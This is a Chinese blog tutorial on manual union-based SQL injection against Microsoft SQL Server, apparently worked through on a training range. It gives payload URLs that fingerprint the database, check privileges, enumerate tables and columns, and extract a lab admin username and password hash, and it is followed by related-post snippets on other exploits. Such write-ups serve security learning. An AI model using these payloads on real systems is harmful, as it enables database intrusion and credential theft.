代码编织梦想

Mssql数据库介绍

SQL Server 是 Microsoft 公司推出的关系型数据库管理系统。具有使用方便可伸缩性好与相关软件集成程度高等优点,可跨越从运行Microsoft Windows 98 的膝上型电脑到运行Microsoft Windows 2012 的大型多处理器的服务器等多种平台使用。

Microsoft SQL Server 是一个全面的数据库平台,使用集成的商业智能 (BI)工具提供了企业级的数据管理。Microsoft SQL Server 数据库引擎为关系型数据和结构化数据提供了更安全可靠的存储功能,使您可以构建和管理用于业务的高可用和高性能的数据应用程序。

Mssql数据库测试环境搭建

完整安装SQL Server 2008 数据库:https://jingyan.baidu.com/article/948f592434b407d80ef5f97d.html

Mssql数据库权限介绍

1
2
3
sa权限:数据库操作,文件管理,命令执行,注册表读取等:相当于system
db权限:文件管理、数据库操作等等:相当于users-administrators
public权限:数据库操作:相当于guest-users

Mssql数据库调用的代码

1
2
3
4
5
<% 
set conn =server.createobject("adodb.connection") conn.open  "provider=sqloledb;source=local;uid=sa;pwd=******;database=database-name"
%>

注释:	uid:账号, pwd:密码

Mssql数据库手工注入

判断是否是Mssql数据库

1
and exists(select * from sysobjects) -

输入SQL语句,如果返回正常那么就说明网站所使用的数据库是Mssql数据库,因为Mssql数据库默认有一个sysobjects的表.

判断权限的SQL语句

1
2
3
and 1=(select is_srvrolemember('sysadmin')) //判断是否是系统管理员 
and 1=(select is_srvrolemember('db_owner')) //判断是否是库权限 
and 1=(select is_srvrolemember('public'))   //判断是否为public权限

SQL手工注入漏洞测试(Sql Server数据库)

靶场地址:SQL手工注入漏洞测试(Sql Server数据库)_SQL注入_在线靶场_墨者学院_专注于网络安全人才培养

注入点:http://219.153.49.228:42837/new_list.asp?id=2

判断是否是Mssql

1
http://219.153.49.228:42837/new_list.asp?id=2 and exists(select * from sysobjects)

返回正常,说明网站使用的数据库是Mssql

判断字段长度

1
http://219.153.49.228:42837/new_list.asp?id=2 order by 5

order by 5返回错误我们往前推一位:

1
http://219.153.49.228:42837/new_list.asp?id=2 order by 4 

order by 4返回正常,说明字段长度是4!

寻找字符型显示位

1
2
3
4
http://219.153.49.228:42837/new_list.asp?id=-2 union all select null,null,null,null
这里使用的是 union all,它和 union select 的区别就是:union select 会自动去除一些重复的字段!
在这个靶场使用 union select 是不行的,所以我们就用 union all
然后我使用的 null 是说明它无关是字符型还是数字型

接下来我们一个个去猜测它的显示位:

1
http://219.153.49.228:42837/new_list.asp?id=-2 union all select '1',null,null,null

'1'他没有任何反应, 说明它不在第1列,那么我们继续查下一个 null

1
http://219.153.49.228:42837/new_list.asp?id=-2 union all select null,'2',null,null

这个时候他页面上就有一个数字"2",说明2这个位置我们可以去利用它!

我们继续看看第三位:

1
http://219.153.49.228:42837/new_list.asp?id=-2 union all select null,'2','3',null

可以看到,我们的页面上又多出了一个‘3’,说明第三个显示位也可以去利用!

我们再来看看第四个(其实有两个显示位就足够了):

猜测第四个的时候页面没有什么反应,说明它只存在‘2’‘3’两个显示位!

查询相关的信息

既然我们有了显示位,那么我们就可以利用显示位去查询我们想要得到的信息!

1
2
3
4
@@version-:获取版本信息
db_name():数据库名字 
user,system_user,current_user,user_name: 获取当前⽤户名 
@@SERVERNAME: 获取有关服务器主机的信息

获取版本信息

1
http://219.153.49.228:42837/new_list.asp?id=-2 union all select null,@@version,'3',null

获取数据库名

1
http://219.153.49.228:42837/new_list.asp?id=-2 union all select null,db_name(),'3',null

获取当前数据库名

1
2
3
http://219.153.49.228:42837/new_list.asp?id=-2 union all select null,user,'3',null
http://219.153.49.228:42837/new_list.asp?id=-2 union all select null,system_user,'3',null
http://219.153.49.228:42837/new_list.asp?id=-2 union all select null,current_user,'3',null

查询表明

1
http://219.153.49.228:42837/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),'3',4

这边查询出来第一个表示 manage,然后我们再去查第二个(到了这里我的靶机重启了一下,所以端口变了):

1
2
3
http://219.153.49.228:43946/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),'3',4

注释:name not in ('manage') 这段语句意思是查询 name 不是 'manage' 的,这样就可以排除 'manage' 从而查询下一个表名

查询出来第二个表名是 announcement,如果想继续查的话继续用 not in 这条判断查询就行了!

获取列名

1
2
3
http://219.153.49.228:43946/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),1) from sysobjects),null,null

注释:col_name 是查询的列名,object_id('manage')是从manage这个表里查询,1 代表的是查询第一个列名

这边查询出来第一个列名是 id,我们继续查第二个列名只需要把数字1修改为2就行了 col_name(object_id('manage'),2

1
http://219.153.49.228:43946/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),2) from sysobjects),null,null

查询出来第二个列名是 username,我们继续查询第三个列名:

1
http://219.153.49.228:43946/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),3) from sysobjects),null,null

第三个列名是 password,这个时候我们就得到了 username 和 password 列!

获取数据

1
http://219.153.49.228:43946/new_list.asp?id=-2 union all select null,username, password ,null from manage	

这个时候我们就注入出来了他的账号:admin_mz,密码 72e1bfc3f01b7583

交流群:

 微信公众号:

 知识星球:

 

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/qq_36304918/article/details/124806420

thinkphp5.0.x远程rce复现_redteam的博客-爱代码爱编程

0x1 前言 之前看到大佬们在网上爆出tp远程代码执行,我就想着来复现一波,所以写篇文章做个笔记。 0x2漏洞复现 首先去ThinkPhP官网下载他的一个框架:ThinkPHP下载 在这里我选择的是ThinkPHP5.0

个人学习笔记之手工注入测试(microsoft sql server)-爱代码爱编程

个人学习笔记之手工注入测试(Microsoft SQL Server) 启动环境:https://www.mozhe.cn/bug/detail/90 找到注入点 http://219.153.49.228:415

sqlserver注入问题-爱代码爱编程

Mssql数据库调用分析 Mssql注入原理 Mssql注入另类玩法 asp 一般和access搭的比较多一些 aspx一般和sqlserver搭的比较多 Mssql介绍美国微软公司推出的一种关系型数据库系统.sqlserv

sql server手工注入入门-爱代码爱编程

安全库:http://www.seclibs.com/ 网络安全爱好者的安全导航,专注收集信安、红队常用网站、工具和技术博客 目录 0x01 SQL server基础 0x02 基本注入 SQL server部分版本

SQL server注入-爱代码爱编程

较为复杂 一般不用手工 用工具 1.注入语句 ①*判断数据库类型 and exists (select * from sysobjects)–返回正常为mssql(也名sql server) and exists (select count() from sysobjects)–有时上面那个语句不行就试试这个哈 ②判断数据库版本 and 1=@@vers

SQL Server验证堆叠注入-爱代码爱编程

堆叠注入原理SQL注入之堆叠注入 堆叠注入原理主要是因为后台处理sql语句的方法可以支持多条sql同时执行,导致系统执行第一条后还会执行第二条sql语句,但只会返回第一条的结果,此时就可以利用第二条sql语句注入;例如mysli_multi_query(),为了防止注入可以改成mysqli_query()函数 本篇内容主要针对安全测试方面对这个漏洞进行验证

sql 注入获取服务器信息,SQL注入之SQL server-爱代码爱编程

基础知识 1.SQL server是微软推出的关系型数据库,所以SQL server只能搭配Windows服务器使用; 2.SQL server数据库一般搭配的脚本语言为asp或aspx; 3.SQL server默认端口:1433 4.SQL server数据库以文件形式存在,文件后缀: ①x.mdf(数据库文件后缀) ②x.ldf(数据

Sql server之sql注入篇-爱代码爱编程

SQL Injection 关于sql注入的危害在这里就不多做介绍了,相信大家也知道其中的厉害关系。 防范sql注入的方法无非有以下几种: 1.使用类型安全的SQL参数 2.使用参数化输入存储过程 3.使用参数集合与动态SQL 4.输入滤波 5.过滤LIKE条款的特殊字符 …如果有遗漏的也欢迎大家指教。 Sample: var Shipcity;

SQL Server 注入-爱代码爱编程

SQL Server 注入 (转至:https://www.1024sou.com/article/798425.html) 侵删 一、简介 SQL Server数据库是由Microsoft开发和推广的关系数据库管理系统(DBMS),是一个比较大型的数据库。端口号为1433。数据库后缀名 .mdf,注释符是 – sa权限:数据库操作,文件管理

SQL注入-基于MSsql(sql server)的注入-爱代码爱编程

目录 一、如何判断该网站使用的是sql server 数据库 二、sql server 数据库包含三张主要系统表 三、sql server 主要函数 四、数据库的注入流程 五、sql server 的联合查询 六、sql server 的报错注入 七、sql server 的布尔型盲注。 一、如何判断该网站使用的是sql server 数据

SqlServer基本注入-爱代码爱编程

要了解Sql Server的基本注入,那么首先就要先去了解,什么是SqlServer,和MySQL有什么差别。(因为之前的注入学的都是MySQL注入,所以了解区别能更好的针对性思考注入方式) 什么是SqlServer SqlServer根据我在网络上查到的资料,又叫做MSSql,MS是微软Microsoft的简写,因此我们就很容易理解了,SqlServ

Nginx-解析漏洞-爱代码爱编程

漏洞描述 由于Nginx.conf的如下配置导致nginx把以’.php’结尾的文件交给fastcgi处理,为此可以构造http://liuwx.cn/test.png/.php (url结尾不一定是‘.php’,任何服务器端不存在的php文件均可,比如’a.php’),其中test.png是我们上传的包含PHP代码的照片文件。 漏洞复现环境 1

microsoft sql server手注之sa权限多种处理姿势_redteam的博客-爱代码爱编程

MSSQL注入探测 MSSQL权限划分 三个权限:sysadmin、db_owner、public 1 2 3 sysadmin:可以执行所有操作 db_owner:可以执行数据库操作 public:只能执行查询操作 判断注入 注入点:http://192.168.159.135:8080/post.aspx 加了一个单引号报错:

sql server手工注入学习笔记-爱代码爱编程

                              MSSQL注入(SQL server) 由于这学期正在学数据库,所以理解SQL语句还是可疑的。看完视频后自己动手实践顺便整理了学习笔记,有些来自视频有些来自其他大佬的博客。 一:判断是否有注入 and 1=1 and 1=2 判断注入的方法是一样的 二:初步判断是否是MSSQL